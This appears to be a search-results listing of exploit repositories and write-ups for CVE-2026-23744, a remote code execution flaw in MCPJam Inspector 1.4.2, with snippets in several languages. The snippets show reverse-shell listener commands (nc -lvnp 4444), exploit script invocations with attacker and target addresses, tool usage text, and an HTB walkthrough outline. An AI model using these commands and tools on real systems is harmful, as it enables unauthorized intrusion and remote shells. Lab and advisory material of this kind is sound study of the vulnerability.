26 matches found
CVE-2026-23744-PoC
Este repositorio no tiene un README...
MCPJam-Inspector-1.4.2-Remote-Code-Execution-CVE-2026-23744
在 Kali Linux 上 - 终端 1 nc -lvnp 4444 在 Kali Linux 上 - 终端 2 python3 ./CVE-2026-23744.py -t http://TARGET.com -p 4444 -i YOUR-KALI-LINUX-IP...
CVE-2026-23744
CVE-2026-23744 python3 CVE-2026-23744.py -u http://devhub.htb:6274 -i 10.10.14.106 -p 4321...
DevHub-HTB-Walkthrough
DevHub – HTB 通关攻略（中等难度 Linux） 靶机： DevHub 难度： 中等 操作系统： Linux 主题： CVE-2026-23744、Chisel 隧道、Jupyter、Flask API、Root 权限提升 📌 1. 信息收集 root@kitploit: nmap -sC -sV devhub.htb 结果： 端口 22（SSH） 端口 80（HTTP） 端口 6274（MCPJam Inspector） 📌 2. 修改 hosts 文件 echo "10.x.x.x devhub.htb" /etc/hosts 📌 3. 探索网站...
mcpExec
mcpExec 是一个利用 CVE-2026-23744 漏洞，通过易受攻击的 MCPJam Inspector 安装的 URL 来获取反向 Shell 的工具。 安装 root@kitploit: git clone https://github.com/daemoncibsec/mcpExec.git cd mcpExec python3 -m venv venv source venv/bin/activate pip install rich pip install argparse pip install requests chmod +x mcpExec.py 要退出虚拟环境...
MCPJam Inspector - Remote Code Execution
MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution RCE vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. id:...
CVE-2026-23744
用法: exploit.py -h --lhost LHOST --lport LPORT --rhost RHOST CVE-2026-23744 - PoC 选项: -h, --help 显示此帮助信息并退出 --lhost, -l LHOST 攻击者 IP 地址 --lport, -p LPORT 攻击者端口 --rhost, -t RHOST 目标 URL...
CVE-2026-23744-exploit
此存储库没有 README。...
CVE-2026-23744
Este repositorio no tiene un README...
CVE-2026-23744
此存储库没有 README。...
mcpjaminspector-unauth-rce
mcpjaminspector-unauth-rce CVE-2026-23744 RCE in MCPJam inspector = 1.4.2 Details zur Schwachstelle https://github.com/MCPJam/inspector/security/advisories/GHSA-232v-j27c-5pp6 Verwendung root@kitploit: usage: mcpjaminspector-unauth-rce.py -h --target TARGET --command COMMAND options: -h, --help...
CVE-2026-23744
CVE-2026-23744 script em python para explorar a CVE-2026-23744 como usar : primeiro, você deve abrir dois terminais primeiro terminal -- nc -nvlp 4444 segundo terminal -- python CVE-2026-23744.py -lhost seu ip -url url alvo para o menu de ajuda : python CVE-2026-23744.py -h...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744: Unauthenticated Remote Code Execution PoC...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
MCPJam Inspector Authorized Security Validator A bounded proo...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
cve-2026...
📄 MCPJam Inspector 1.4.2 Command Injection
This is an advanced Python proof of concept for CVE-2026-23744 demonstrating command injection through a vulnerable MCP API endpoint, leading to remote code execution and reverse shell access. The script supports multiple payload types, endpoint discovery, listener management, and several...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
CVE-2026-23744 --- Description MCPJam inspector is a loca...
Exploit for Missing Authentication for Critical Function in Mcpjam Inspector
on kali linux - terminal 1...